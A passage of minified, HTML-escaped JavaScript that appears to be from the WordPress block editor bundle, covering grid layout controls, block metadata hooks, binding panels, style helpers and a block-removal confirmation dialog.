DAe({column:e,row:t,gridClientId:o,gridInfo:r,setHighlightedRect:n}){return(0,ki.jsx)(&quot;div&quot;,{className:&quot;block-editor-grid-visualizer__drop-zone&quot;,ref:Kfe(e,t,o,r,n)})}function VAe({column:e,row:t,gridClientId:o,gridInfo:r,setHighlightedRect:n}){let{updateBlockAttributes:i,moveBlocksToPosition:s,__unstableMarkNextChangeAsNotPersistent:a}=(0,df.useDispatch)(_),c=np(o,r.numColumns);return(0,ki.jsx)(Qu,{rootClientId:o,className:&quot;block-editor-grid-visualizer__appender&quot;,ref:Kfe(e,t,o,r,n),style:{color:r.currentColor},onSelect:u=&gt;{u&amp;&amp;(i(u.clientId,{style:{layout:{columnStart:e,rowStart:t}}}),a(),s([u.clientId],o,o,c(e,t)))}})}function FAe({validateDrag:e,onDragEnter:t,onDragLeave:o,onDrop:r}){let{getDraggedBlockClientIds:n}=(0,df.useSelect)(_);return(0,Wfe.__experimentalUseDropZone)({onDragEnter(){let[i]=n();i&amp;&amp;e(i)&amp;&amp;t(i)},onDragLeave(){o()},onDrop(){let[i]=n();i&amp;&amp;e(i)&amp;&amp;r(i)}})}var Yfe=l(A(),1),X_=l(R(),1);var qR=l(w(),1);function Dz({clientId:e,bounds:t,onChange:o,parentLayout:r}){let n=Xe(e),i=n?.parentElement,{isManualPlacement:s}=r;return!n||!i?null:(0,qR.jsx)(zAe,{clientId:e,bounds:t,blockElement:n,rootBlockElement:i,onChange:o,isManualGrid:s&amp;&amp;window.__experimentalEnableGridInteractivity})}function zAe({clientId:e,bounds:t,blockElement:o,rootBlockElement:r,onChange:n,isManualGrid:i}){let[s,a]=(0,X_.useState)(null),[c,u]=(0,X_.useState)({top:!1,bottom:!1,left:!1,right:!1});(0,X_.useEffect)(()=&gt;{let h=new window.ResizeObserver(()=&gt;{let p=o.getBoundingClientRect(),g=r.getBoundingClientRect(),b=p.top&gt;g.top,v=p.bottom&lt;g.bottom,k=p.left&gt;g.left,y=p.right&lt;g.right;u({top:(i||!v)&amp;&amp;b,bottom:v,left:(i||!y)&amp;&amp;k,right:y})});return h.observe(o),()=&gt;h.disconnect()},[o,r,i]);let d={right:&quot;left&quot;,left:&quot;right&quot;},f={top:&quot;flex-end&quot;,bottom:&quot;flex-start&quot;},m={display:&quot;flex&quot;,justifyContent:&quot;center&quot;,alignItems:&quot;center&quot;,...d[s]&amp;&amp;{justifyContent:d[s]},...f[s]&amp;&amp;{alignItems:f[s]}};return(0,qR.jsx)(Hi,{className:&quot;block-editor-grid-item-resizer&quot;,clientId:e,__unstablePopoverSlot:&quot;__unstable-block-tools-after&quot;,additionalStyles:m,children:(0,qR.jsx)(Yfe.ResizableBox,{className:&quot;block-editor-grid-item-resizer__box&quot;,size:{width:&quot;100%&quot;,height:&quot;100%&quot;},enable:{bottom:c.bottom,bottomLeft:!1,bottomRight:!1,left:c.left,right:c.right,top:c.top,topLeft:!1,topRight:!1},bounds:t,boundsByDirection:!0,onPointerDown:({target:h,pointerId:p})=&gt;{h.setPointerCapture(p)},onResizeStart:(h,p)=&gt;{a(p)},onResizeStop:(h,p,g)=&gt;{let b=parseFloat(Bo(r,&quot;column-gap&quot;)),v=parseFloat(Bo(r,&quot;row-gap&quot;)),k=Y_(Bo(r,&quot;grid-template-columns&quot;),b),y=Y_(Bo(r,&quot;grid-template-rows&quot;),v),S=new window.DOMRect(o.offsetLeft+g.offsetLeft,o.offsetTop+g.offsetTop,g.offsetWidth,g.offsetHeight),x=zc(k,S.left)+1,C=zc(y,S.top)+1,B=zc(k,S.right,&quot;end&quot;)+1,I=zc(y,S.bottom,&quot;end&quot;)+1;n({columnSpan:B-x+1,rowSpan:I-C+1,columnStart:i?x:void 0,rowStart:i?C:void 0})}})})}var ms=l(N(),1),Ok=l(A(),1);var qfe=l(F(),1),Zfe=l(Z(),1);var Nr=l(w(),1);function Vz({layout:e,parentLayout:t,onChange:o,gridClientId:r,blockClientId:n}){let{moveBlocksToPosition:i,__unstableMarkNextChangeAsNotPersistent:s}=(0,qfe.useDispatch)(_),a=e?.columnStart??1,c=e?.rowStart??1,u=e?.columnSpan??1,d=e?.rowSpan??1,f=a+u-1,m=c+d-1,h=t?.columnCount,p=t?.rowCount,g=np(r,h);return(0,Nr.jsx)(Mt,{group:&quot;parent&quot;,children:(0,Nr.jsxs)(Ok.ToolbarGroup,{className:&quot;block-editor-grid-item-mover__move-button-container&quot;,children:[(0,Nr.jsx)(&quot;div&quot;,{className:&quot;block-editor-grid-item-mover__move-horizontal-button-container is-left&quot;,children:(0,Nr.jsx)(Q_,{icon:(0,ms.isRTL)()?Vo:Mr,label:(0,ms.__)(&quot;Move left&quot;),description:(0,ms.__)(&quot;Move left&quot;),isDisabled:a&lt;=1,onClick:()=&gt;{o({columnStart:a-1}),s(),i([n],r,r,g(a-1,c))}})}),(0,Nr.jsxs)(&quot;div&quot;,{className:&quot;block-editor-grid-item-mover__move-vertical-button-container&quot;,children:[(0,Nr.jsx)(Q_,{className:&quot;is-up-button&quot;,icon:xf,label:(0,ms.__)(&quot;Move up&quot;),description:(0,ms.__)(&quot;Move up&quot;),isDisabled:c&lt;=1,onClick:()=&gt;{o({rowStart:c-1}),s(),i([n],r,r,g(a,c-1))}}),(0,Nr.jsx)(Q_,{className:&quot;is-down-button&quot;,icon:zn,label:(0,ms.__)(&quot;Move down&quot;),description:(0,ms.__)(&quot;Move down&quot;),isDisabled:p&amp;&amp;m&gt;=p,onClick:()=&gt;{o({rowStart:c+1}),s(),i([n],r,r,g(a,c+1))}})]}),(0,Nr.jsx)(&quot;div&quot;,{className:&quot;block-editor-grid-item-mover__move-horizontal-button-container is-right&quot;,children:(0,Nr.jsx)(Q_,{icon:(0,ms.isRTL)()?Mr:Vo,label:(0,ms.__)(&quot;Move right&quot;),description:(0,ms.__)(&quot;Move right&quot;),isDisabled:h&amp;&amp;f&gt;=h,onClick:()=&gt;{o({columnStart:a+1}),s(),i([n],r,r,g(a+1,c))}})})]})})}function Q_({className:e,icon:t,label:o,isDisabled:r,onClick:n,description:i}){let a=`block-editor-grid-item-mover-button__description-${(0,Zfe.useInstanceId)(Q_)}`;return(0,Nr.jsxs)(Nr.Fragment,{children:[(0,Nr.jsx)(Ok.ToolbarButton,{className:V(&quot;block-editor-grid-item-mover-button&quot;,e),icon:t,label:o,&quot;aria-describedby&quot;:a,onClick:r?null:n,disabled:r,accessibleWhenDisabled:!0}),(0,Nr.jsx)(Ok.VisuallyHidden,{id:a,children:i})]})}var J_=l(F(),1),XR=l(R(),1),ZR=l(Z(),1);function Fz({clientId:e}){let{gridLayout:t,blockOrder:o,selectedBlockLayout:r}=(0,J_.useSelect)(m=&gt;{let{getBlockAttributes:h,getBlockOrder:p}=m(_),g=m(_).getSelectedBlock();return{gridLayout:h(e).layout??{},blockOrder:p(e),selectedBlockLayout:g?.attributes.style?.layout}},[e]),{getBlockAttributes:n,getBlockRootClientId:i}=(0,J_.useSelect)(_),{updateBlockAttributes:s,__unstableMarkNextChangeAsNotPersistent:a}=(0,J_.useDispatch)(_),c=(0,XR.useMemo)(()=&gt;r?new aa(r):null,[r]),u=(0,ZR.usePrevious)(c),d=(0,ZR.usePrevious)(t.isManualPlacement),f=(0,ZR.usePrevious)(o);(0,XR.useEffect)(()=&gt;{let m={};if(t.isManualPlacement){let h=[];for(let g of o){let{columnStart:b,rowStart:v,columnSpan:k=1,rowSpan:y=1}=n(g).style?.layout??{};!b||!v||h.push(new aa({columnStart:b,rowStart:v,columnSpan:k,rowSpan:y}))}for(let g of o){let b=n(g),{columnStart:v,rowStart:k,columnSpan:y=1,rowSpan:S=1}=b.style?.layout??{};if(v&amp;&amp;k)continue;let[x,C]=jAe(h,t.columnCount,y,S,u?.columnEnd,u?.rowEnd);h.push(new aa({columnStart:x,rowStart:C,columnSpan:y,rowSpan:S})),m[g]={style:{...b.style,layout:{...b.style?.layout,columnStart:x,rowStart:C}}}}let p=Math.max(...h.map(g=&gt;g.rowEnd));(!t.rowCount||t.rowCount&lt;p)&amp;&amp;(m[e]={layout:{...t,rowCount:p}});for(let g of f??[])if(!o.includes(g)){let b=i(g);if(b===null||n(b)?.layout?.type===&quot;grid&quot;)continue;let k=n(g),{columnStart:y,rowStart:S,columnSpan:x,rowSpan:C,...B}=k.style?.layout??{};if(y||S||x||C){let I=Object.keys(B).length===0;m[g]=pe(k,[&quot;style&quot;,&quot;layout&quot;],I?void 0:B)}}}else{if(d===!0)for(let h of o){let p=n(h),{columnStart:g,rowStart:b,...v}=p.style?.layout??{};if(g||b){let k=Object.keys(v).length===0;m[h]=pe(p,[&quot;style&quot;,&quot;layout&quot;],k?void 0:v)}}t.rowCount&amp;&amp;(m[e]={layout:{...t,rowCount:void 0}})}Object.keys(m).length&amp;&amp;(a(),s(Object.keys(m),m,!0))},[e,t,f,o,u,d,a,n,i,s])}function jAe(e,t,o,r,n=1,i=1){for(let s=i;;s++)for(let a=s===i?n:1;a&lt;=t;a++){let c=new aa({columnStart:a,rowStart:s,columnSpan:o,rowSpan:r});if(!e.some(u=&gt;u.intersectsRect(c)))return[a,s]}}var jc=l(w(),1),UAe={};function HAe({style:e}){let t=(0,zz.useSelect)(g=&gt;!g(_).getSettings().disableLayoutStyles),o=e?.layout??{},{selfStretch:r,flexSize:n,columnStart:i,rowStart:s,columnSpan:a,rowSpan:c}=o,u=Uf()||{},{columnCount:d,minimumColumnWidth:f}=u,m=(0,Xfe.useInstanceId)(UAe),h=`.wp-container-content-${m}`,p=&quot;&quot;;if(t&amp;&amp;(r===&quot;fixed&quot;&amp;&amp;n?p=`${h} {
				flex-basis: ${n};
				box-sizing: border-box;
			}`:r===&quot;fill&quot;?p=`${h} {
				flex-grow: 1;
			}`:i&amp;&amp;a?p=`${h} {
				grid-column: ${i} / span ${a};
			}`:i?p=`${h} {
				grid-column: ${i};
			}`:a&amp;&amp;(p=`${h} {
				grid-column: span ${a};
			}`),s&amp;&amp;c?p+=`${h} {
				grid-row: ${s} / span ${c};
			}`:s?p+=`${h} {
				grid-row: ${s};
			}`:c&amp;&amp;(p+=`${h} {
				grid-row: span ${c};
			}`),(a||i)&amp;&amp;(f||!d))){let g=parseFloat(f);isNaN(g)&amp;&amp;(g=12);let b=f?.replace(g,&quot;&quot;);[&quot;px&quot;,&quot;rem&quot;,&quot;em&quot;].includes(b)||(b=&quot;rem&quot;);let v=2;a&amp;&amp;i?v=a+i-1:a?v=a:v=i;let k=b===&quot;px&quot;?24:1.5,y=v*g+(v-1)*k,S=g*2+k-1,x=a&amp;&amp;a&gt;1?&quot;1/-1&quot;:&quot;auto&quot;;p+=`@container (max-width: ${Math.max(y,S)}${b}) {
				${h} {
					grid-column: ${x};
					grid-row: auto;
				}
			}`}if(Qn({css:p}),!!p)return{className:`wp-container-content-${m}`}}function GAe({clientId:e,style:t,setAttributes:o}){let r=Uf()||{},{type:n=&quot;default&quot;,allowSizingOnChildren:i=!1,isManualPlacement:s}=r;return n!==&quot;grid&quot;?null:(0,jc.jsx)(WAe,{clientId:e,style:t,setAttributes:o,allowSizingOnChildren:i,isManualPlacement:s,parentLayout:r})}function WAe({clientId:e,style:t,setAttributes:o,allowSizingOnChildren:r,isManualPlacement:n,parentLayout:i}){let{rootClientId:s,isVisible:a,parentBlockVisibility:c,blockBlockVisibility:u,deviceType:d,isChildBlockAGrid:f}=(0,zz.useSelect)(y=&gt;{let{getBlockRootClientId:S,getBlockEditingMode:x,getTemplateLock:C,getBlockAttributes:B,getSettings:I}=y(_),P=S(e);if(C(P)||x(P)!==&quot;default&quot;)return{rootClientId:P,isVisible:!1};let E=B(P),L=B(e),T=I();return{rootClientId:P,isVisible:!0,parentBlockVisibility:E?.metadata?.blockVisibility,blockBlockVisibility:L?.metadata?.blockVisibility,deviceType:T?.[wi]?.toLowerCase()||Et.desktop.value,isChildBlockAGrid:L?.layout?.type===&quot;grid&quot;}},[e]),{isBlockCurrentlyHidden:m}=Mi({blockVisibility:c,deviceType:d}),{isBlockCurrentlyHidden:h}=Mi({blockVisibility:u,deviceType:d}),[p,g]=(0,Qfe.useState)(),b=f?e:void 0;if(!a||m)return null;let v=r&amp;&amp;!h;function k(y){o({style:{...t,layout:{...t?.layout,...y}}})}return(0,jc.jsxs)(jc.Fragment,{children:[(0,jc.jsx)(Z_,{clientId:s,contentRef:g,parentLayout:i,childGridClientId:b}),v&amp;&amp;(0,jc.jsx)(Dz,{clientId:e,bounds:p,onChange:k,parentLayout:i}),n&amp;&amp;window.__experimentalEnableGridInteractivity&amp;&amp;(0,jc.jsx)(Vz,{layout:t?.layout,parentLayout:i,onChange:k,gridClientId:s,blockClientId:e})]})}var jz={useBlockProps:HAe,edit:GAe,attributeKeys:[&quot;style&quot;],hasSupport(){return!0}};var Hz=l(ut(),1),Uz=l($(),1),Jfe=&quot;metadata&quot;;function $Ae(e){return e?.attributes?.[Jfe]?.type||(e.attributes={...e.attributes,[Jfe]:{type:&quot;object&quot;}}),e}function KAe(e,t,o,r){if(r.length===1&amp;&amp;e.innerBlocks.length===t.length||r.length===1&amp;&amp;t.length&gt;1||r.length&gt;1&amp;&amp;t.length===1||r.length&gt;1&amp;&amp;t.length&gt;1&amp;&amp;r.length!==t.length)return e;let n=t[o]?.attributes?.metadata;if(!n)return e;let i={};return n.noteId&amp;&amp;!e.attributes?.metadata?.noteId&amp;&amp;(i.noteId=n.noteId),n.name&amp;&amp;!e.attributes?.metadata?.name&amp;&amp;(0,Uz.hasBlockSupport)(e.name,&quot;renaming&quot;,!0)&amp;&amp;(i.name=n.name),n.blockVisibility!==void 0&amp;&amp;!e.attributes?.metadata?.blockVisibility&amp;&amp;(0,Uz.hasBlockSupport)(e.name,&quot;visibility&quot;,!0)&amp;&amp;(i.blockVisibility=n.blockVisibility),Object.keys(i).length&gt;0?{...e,attributes:{...e.attributes,metadata:{...e.attributes.metadata,...i}}}:e}(0,Hz.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/metadata/addMetaAttribute&quot;,$Ae);(0,Hz.addFilter)(&quot;blocks.switchToBlockType.transformedBlock&quot;,&quot;core/metadata/addTransforms&quot;,KAe);var Gz=l(N(),1),QR=l(R(),1),JR=l(A(),1),eO=l($(),1),Ak=l(F(),1);var ff=l(w(),1),YAe={};function qAe({name:e,clientId:t,metadata:{ignoredHookedBlocks:o=[]}={}}){let r=(0,Ak.useSelect)(h=&gt;h(eO.store).getBlockTypes(),[]),n=(0,QR.useMemo)(()=&gt;r?.filter(({name:h,blockHooks:p})=&gt;p&amp;&amp;e in p||o.includes(h)),[r,e,o]),i=(0,Ak.useSelect)(h=&gt;{let{getBlocks:p,getBlockRootClientId:g,getGlobalBlockCount:b}=h(_),v=g(t),k=n.reduce((y,S)=&gt;{if(b(S.name)===0)return y;let x=S?.blockHooks?.[e],C;switch(x){case&quot;before&quot;:case&quot;after&quot;:C=p(v);break;case&quot;first_child&quot;:case&quot;last_child&quot;:C=p(t);break;case void 0:C=[...p(v),...p(t)];break}let B=C?.find(I=&gt;I.name===S.name);return B?{...y,[S.name]:B.clientId}:y},{});return Object.values(k).length&gt;0?k:YAe},[n,e,t]),{getBlockIndex:s,getBlockCount:a,getBlockRootClientId:c}=(0,Ak.useSelect)(_),{insertBlock:u,removeBlock:d}=(0,Ak.useDispatch)(_);if(!n.length)return null;let f=n.reduce((h,p)=&gt;{let[g]=p.name.split(&quot;/&quot;);return h[g]||(h[g]=[]),h[g].push(p),h},{}),m=(h,p)=&gt;{let g=s(t),b=a(t),v=c(t);switch(p){case&quot;before&quot;:case&quot;after&quot;:u(h,p===&quot;after&quot;?g+1:g,v,!1);break;case&quot;first_child&quot;:case&quot;last_child&quot;:u(h,p===&quot;first_child&quot;?0:b,t,!1);break;case void 0:u(h,g+1,v,!1);break}};return(0,ff.jsx)(fe,{children:(0,ff.jsxs)(JR.PanelBody,{className:&quot;block-editor-hooks__block-hooks&quot;,title:(0,Gz.__)(&quot;Plugins&quot;),initialOpen:!0,children:[(0,ff.jsx)(&quot;p&quot;,{className:&quot;block-editor-hooks__block-hooks-helptext&quot;,children:(0,Gz.__)(&quot;Manage the inclusion of blocks added automatically by plugins.&quot;)}),Object.keys(f).map(h=&gt;(0,ff.jsxs)(QR.Fragment,{children:[(0,ff.jsx)(&quot;h3&quot;,{children:h}),f[h].map(p=&gt;{let g=p.name in i;return(0,ff.jsx)(JR.ToggleControl,{checked:g,label:p.title,onChange:()=&gt;{if(!g){let b=p.blockHooks[e];m((0,eO.createBlock)(p.name),b);return}d(i[p.name],!1)}},p.title)})]},h))]})})}var eme={edit:qAe,attributeKeys:[&quot;metadata&quot;],hasSupport(){return!0}};var Wz=l(N(),1),tme=l($(),1),Lk=l(A(),1),ome=l(F(),1),rme=l(R(),1),nme=l(Z(),1);var mf=l(w(),1),ZAe=()=&gt;(0,nme.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;)?{}:{popoverProps:{placement:&quot;left-start&quot;,offset:259}},XAe=({name:e,metadata:t})=&gt;{let o=(0,rme.useContext)(xr),{removeAllBlockBindings:r}=El(),n=ZAe(),{bindableAttributes:i,hasCompatibleFields:s}=(0,ome.useSelect)(c=&gt;{let{__experimentalBlockBindingsSupportedAttributes:u}=c(_).getSettings(),{getAllBlockBindingsSources:d,getBlockBindingsSourceFieldsList:f}=M(c(tme.store));return{bindableAttributes:u?.[e],hasCompatibleFields:Object.values(d()).some(m=&gt;f(m,o)?.length&gt;0)}},[e,o]);if(!i||i.length===0)return null;let{bindings:a}=t||{};return a===void 0&amp;&amp;!s?null:(0,mf.jsx)(fe,{group:&quot;bindings&quot;,children:(0,mf.jsxs)(Lk.__experimentalToolsPanel,{label:(0,Wz.__)(&quot;Attributes&quot;),resetAll:()=&gt;{r()},dropdownMenuProps:n,className:&quot;block-editor-bindings__panel&quot;,children:[(0,mf.jsx)(Lk.__experimentalItemGroup,{isBordered:!0,isSeparated:!0,children:i.map(c=&gt;(0,mf.jsx)($v,{attribute:c,blockName:e,binding:a?.[c]},c))}),(0,mf.jsx)(Lk.__experimentalText,{as:&quot;div&quot;,variant:&quot;muted&quot;,children:(0,mf.jsx)(&quot;p&quot;,{children:(0,Wz.__)(&quot;Attributes connected to custom fields or other dynamic data.&quot;)})})]})})},ime={edit:XAe,attributeKeys:[&quot;metadata&quot;],hasSupport(e){return![&quot;core/post-date&quot;,&quot;core/navigation-link&quot;,&quot;core/navigation-submenu&quot;].includes(e)}};var sme=l(N(),1),ame=l(A(),1),rO=l(F(),1),e0=l($(),1),lme=l(R(),1);var tO=l(F(),1);function oO(e){let{isOpened:t,expandRevision:o}=(0,tO.useSelect)(i=&gt;{let{isListViewPanelOpened:s,getListViewExpandRevision:a}=M(i(_));return{isOpened:s(e),expandRevision:a()}},[e]),{__unstableToggleListViewPanel:r}=(0,tO.useDispatch)(_);return{isOpened:t,expandRevision:o,handleToggle:i=&gt;{r(e,i)}}}var Nk=l(w(),1),QAe=&quot;listView&quot;;function cme(e){return(0,e0.hasBlockSupport)(e,QAe)}function JAe({clientId:e,name:t}){let{isSelectionWithinCurrentSection:o}=(0,lme.useContext)(ur),{isOpened:r,expandRevision:n,handleToggle:i}=oO(e),{openListViewContentPanel:s}=M((0,rO.useDispatch)(_)),a=cme(t),{hasChildren:c,isNestedListView:u}=(0,rO.useSelect)(h=&gt;{let{getBlockCount:p,getBlockParents:g,getBlockName:b}=h(_),k=g(e,!1).find(y=&gt;{let S=b(y);return S===&quot;core/navigation&quot;||(0,e0.hasBlockSupport)(S,&quot;listView&quot;)});return{hasChildren:!!p(e),isNestedListView:k}},[e]),f=(0,e0.getBlockType)(t)?.title||t;return!a||u?null:(0,Nk.jsx)(Sm,{group:&quot;list&quot;,children:(0,Nk.jsxs)(ame.PanelBody,{title:o?f:void 0,opened:r,onToggle:i,children:[!c&amp;&amp;(0,Nk.jsx)(&quot;p&quot;,{className:&quot;block-editor-block-inspector__no-blocks&quot;,children:(0,sme.__)(&quot;No items yet.&quot;)}),(0,Nk.jsx)(NS,{rootClientId:e,isExpanded:!0,description:f,showAppender:!0,onSelect:s},`${e}-${n}`)]})})}var ume={edit:JAe,hasSupport:cme,attributeKeys:[],supportsPatternEditing:!0};var dme=l(ut(),1),fme=l($(),1);function eLe(e){return e.__experimentalLabel||(0,fme.hasBlockSupport)(e,&quot;renaming&quot;,!0)&amp;&amp;(e.__experimentalLabel=(o,{context:r})=&gt;{let{metadata:n}=o;if((r===&quot;list-view&quot;||r===&quot;breadcrumb&quot;)&amp;&amp;n?.name)return n.name}),e}(0,dme.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;core/metadata/addLabelCallback&quot;,eLe);var mme=l(Z(),1),pme=l(ut(),1),hme=l(F(),1);var ps=l(w(),1);function tLe(e){Fz(e)}function oLe({clientId:e,layout:t}){let{isVisible:o,blockVisibility:r,deviceType:n,isAnyAncestorHidden:i}=(0,hme.useSelect)(a=&gt;{let{isBlockSelected:c,hasSelectedInnerBlock:u,isDraggingBlocks:d,getTemplateLock:f,getBlockEditingMode:m,getBlockAttributes:h,getSettings:p}=a(_);if(!d()&amp;&amp;!c(e)||f(e)||m(e)!==&quot;default&quot;||u(e))return{isVisible:!1};let{isBlockParentHiddenAtViewport:g}=M(a(_)),b=h(e),k=p()?.[wi]?.toLowerCase()||Et.desktop.value;return{isVisible:!0,blockVisibility:b?.metadata?.blockVisibility,deviceType:k,isAnyAncestorHidden:g(e,k)}},[e]),{isBlockCurrentlyHidden:s}=Mi({blockVisibility:r,deviceType:n});return(0,ps.jsxs)(ps.Fragment,{children:[(0,ps.jsx)(tLe,{clientId:e}),o&amp;&amp;!s&amp;&amp;!i&amp;&amp;(0,ps.jsx)(Z_,{clientId:e,parentLayout:t})]})}var rLe=(0,mme.createHigherOrderComponent)(e=&gt;function(o){return o.attributes.layout?.type!==&quot;grid&quot;?(0,ps.jsx)(e,{...o},&quot;edit&quot;):(0,ps.jsxs)(ps.Fragment,{children:[(0,ps.jsx)(oLe,{clientId:o.clientId,layout:o.attributes.layout}),(0,ps.jsx)(e,{...o},&quot;edit&quot;)]})},&quot;addGridVisualizerToBlockEdit&quot;);(0,pme.addFilter)(&quot;editor.BlockEdit&quot;,&quot;core/editor/grid-visualizer&quot;,rLe);var t0=l($(),1),bme=l(A(),1),kme=l(F(),1);var iO=l(R(),1),vme=l(N(),1);function gme(e){let t=[],o=[];return Object.entries(e).forEach(([r,n])=&gt;{if(!n.autoGenerateControl)return;let i=nLe(r,n);i&amp;&amp;(t.push(i),o.push(r))}),{fields:t,form:{fields:o}}}function nLe(e,t){let o=t.type,r={id:e,label:t.label||e,type:o===&quot;string&quot;?&quot;text&quot;:o};return t.enum&amp;&amp;Array.isArray(t.enum)&amp;&amp;(r.elements=t.enum.map(n=&gt;({value:n,label:String(n)}))),r}var nO=l(w(),1);function iLe(e){return e?Object.values(e).some(t=&gt;t?.autoGenerateControl):!1}function sLe({name:e,clientId:t,setAttributes:o}){let r=ao(),n=(0,iO.useContext)(xr),i=(0,kme.useSelect)(u=&gt;{let d=u(_).getBlockAttributes(t);if(!d?.metadata?.bindings)return d;let{getBlockBindingsSource:f}=M(u(t0.store));return Object.entries(d.metadata.bindings).reduce((m,[h,p])=&gt;{let g=f(p.source);if(!g)return m;let b=g.getValues({select:u,context:n,bindings:{[h]:p}});return{...m,...b}},d)},[n,t]),s=(0,t0.getBlockType)(e),{fields:a,form:c}=(0,iO.useMemo)(()=&gt;s?.attributes?gme(s.attributes):{fields:[],form:{fields:[]}},[s?.attributes]);return r!==&quot;default&quot;||!a||a.length===0?null:(0,nO.jsx)(fe,{children:(0,nO.jsx)(bme.PanelBody,{title:(0,vme.__)(&quot;Settings&quot;),children:(0,nO.jsx)(D_,{data:i,fields:a,form:c,onChange:o})})})}var yme={edit:sLe,attributeKeys:[],hasSupport(e){let t=(0,t0.getBlockType)(e);return iLe(t?.attributes)}};function $z(e){let{style:t}=e,o=t?.dimensions||{},r=bi({dimensions:o});return{className:o.aspectRatio?&quot;has-aspect-ratio&quot;:void 0,style:r}}function sO(e){let t=e.style?.border||{};return{className:YF(e)||void 0,style:bi({border:t})}}function Kz(e){let{colors:t}=wd(),o=sO(e),{borderColor:r}=e;if(r){let n=lp({colors:t,namedColor:r});o.style.borderColor=n.color}return o}function Yz(e){let t=e.style?.shadow||&quot;&quot;;return{style:bi({shadow:t})}}var qz=l(R(),1);function aO(e){let{backgroundColor:t,textColor:o,gradient:r,style:n}=e,i=_i(&quot;background-color&quot;,t),s=_i(&quot;color&quot;,o),a=th(r),c=a||n?.color?.gradient,u=V(s,a,{[i]:!c&amp;&amp;!!i,&quot;has-text-color&quot;:o||n?.color?.text,&quot;has-background&quot;:t||n?.color?.background||r||n?.color?.gradient,&quot;has-link-color&quot;:n?.elements?.link?.color}),d=n?.color||{},f=bi({color:d});return{className:u||void 0,style:f}}function Zz(e){let{backgroundColor:t,textColor:o,gradient:r}=e,[n,i,s,a,c,u]=me(&quot;color.palette.custom&quot;,&quot;color.palette.theme&quot;,&quot;color.palette.default&quot;,&quot;color.gradients.custom&quot;,&quot;color.gradients.theme&quot;,&quot;color.gradients.default&quot;),d=(0,qz.useMemo)(()=&gt;[...n||[],...i||[],...s||[]],[n,i,s]),f=(0,qz.useMemo)(()=&gt;[...a||[],...c||[],...u||[]],[a,c,u]),m=aO(e);if(t){let h=da(d,t);m.style.backgroundColor=h.color}if(r&amp;&amp;(m.style.background=Gw(f,r)),o){let h=da(d,o);m.style.color=h.color}return m}function Xz(e){let{style:t}=e,o=t?.spacing||{};return{style:bi({spacing:o})}}var Sme=l(A(),1);var{kebabCase:aLe}=M(Sme.privateApis);function Qz(e,t){let o=e?.style?.typography||{};o={...o,fontSize:ec({size:e?.style?.typography?.fontSize},t)};let r=bi({typography:o}),n=e?.fontFamily?`has-${aLe(e.fontFamily)}-font-family`:&quot;&quot;,i=e?.style?.typography?.textAlign?`has-text-align-${e?.style?.typography?.textAlign}`:&quot;&quot;;return{className:V(n,i,hu(e?.fontSize)),style:r}}var lO=l(R(),1);function Jz(e){let[t,o]=(0,lO.useState)(e);return(0,lO.useEffect)(()=&gt;{e&amp;&amp;o(e)},[e]),t}dle([w2,NR,B4,hz,jR,WR,Pz,DR,uV,Hfe,eme,ime,jz,Ale,qde,ume,yme].filter(Boolean));fle([w2,NR,yae,jR,t4,Tfe,Pz,gz,kz,DR,qF,WR,uV,ZX,jz]);mle([w2,NR,B4,Dle,hz,qF,WR,DR,t4,jR,gz,kz]);var _me={button:&quot;wp-element-button&quot;,caption:&quot;wp-element-caption&quot;},lLe=e=&gt;_me[e]?_me[e]:&quot;&quot;;var xme=()=&gt;&quot;&quot;;var Mk=l(R(),1),o0=l($(),1),t6=l(dr(),1);var wme=l(w(),1);function o6(e,t,o){if(e==null||e===!1)return;if(Array.isArray(e))return e6(e,t,o);switch(typeof e){case&quot;string&quot;:case&quot;number&quot;:return}let{type:r,props:n}=e;switch(r){case Mk.StrictMode:case Mk.Fragment:return e6(n.children,t,o);case Mk.RawHTML:return;case tS.Content:return Cme(t,o);case o_:t.push(n.value);return}switch(typeof r){case&quot;string&quot;:return typeof n.children&lt;&quot;u&quot;?e6(n.children,t,o):void 0;case&quot;function&quot;:let i=r.prototype&amp;&amp;typeof r.prototype.render==&quot;function&quot;?new r(n).render():r(n);return o6(i,t,o)}}function e6(e,...t){e=Array.isArray(e)?e:[e];for(let o=0;o&lt;e.length;o++)o6(e[o],...t)}function Cme(e,t){for(let o=0;o&lt;t.length;o++){let{name:r,attributes:n,innerBlocks:i}=t[o],s=(0,o0.getSaveElement)(r,n,(0,wme.jsx)(tS.Content,{}));o6(s,e,i)}}function Bme(e=[]){o0.__unstableGetBlockProps.skipFilters=!0;let t=[];return Cme(t,e),o0.__unstableGetBlockProps.skipFilters=!1,t.map(o=&gt;o instanceof t6.RichTextData?o:t6.RichTextData.fromHTMLString(o))}var Eme=l(A(),1);var r6=l(w(),1);function Tme({clientId:e,resizableBoxProps:t,...o}){return(0,r6.jsx)(Hi,{clientId:e,__unstablePopoverSlot:&quot;block-toolbar&quot;,...o,children:(0,r6.jsx)(Eme.ResizableBox,{...t})})}var n0=l(R(),1),cO=l(F(),1),la=l(A(),1),r0=l(N(),1);var hs=l(w(),1);function Ime({rules:e}){let[t,o]=(0,n0.useState)(!1),{clientIds:r,selectPrevious:n,message:i}=(0,cO.useSelect)(p=&gt;M(p(_)).getRemovalPromptData()),{clearBlockRemovalPrompt:s,setBlockRemovalRules:a,privateRemoveBlocks:c}=M((0,cO.useDispatch)(_));if((0,n0.useEffect)(()=&gt;(a(e),()=&gt;{a()}),[e,a]),(0,n0.useEffect)(()=&gt;{o(!1)},[r]),!i)return;let u=typeof i==&quot;object&quot;&amp;&amp;i!==null,d=u?i.description:i,f=u&amp;&amp;i.requireConfirmation,m=f&amp;&amp;!t,h=()=&gt;{c(r,n,!0),s()};return(0,hs.jsx)(la.Modal,{title:(0,r0.__)(&quot;Confirm deletion&quot;),onRequestClose:s,size:&quot;medium&quot;,children:(0,hs.jsxs)(la.__experimentalVStack,{spacing:4,children:[(0,hs.jsxs)(&quot;div&quot;,{children:[(0,hs.jsx)(&quot;p&quot;,{children:d}),u&amp;&amp;(i.warning||i.subtext)&amp;&amp;(0,hs.jsxs)(&quot;p&quot;,{children:[i.warning&amp;&amp;(0,hs.jsx)(&quot;strong&quot;,{children:i.warning}),i.warning&amp;&amp;i.subtext&amp;&amp;&quot; &quot;,i.subtext]})]}),f&amp;&amp;(0,hs.jsx)(la.CheckboxControl,{label:(0,r0.__)(&quot;I understand the 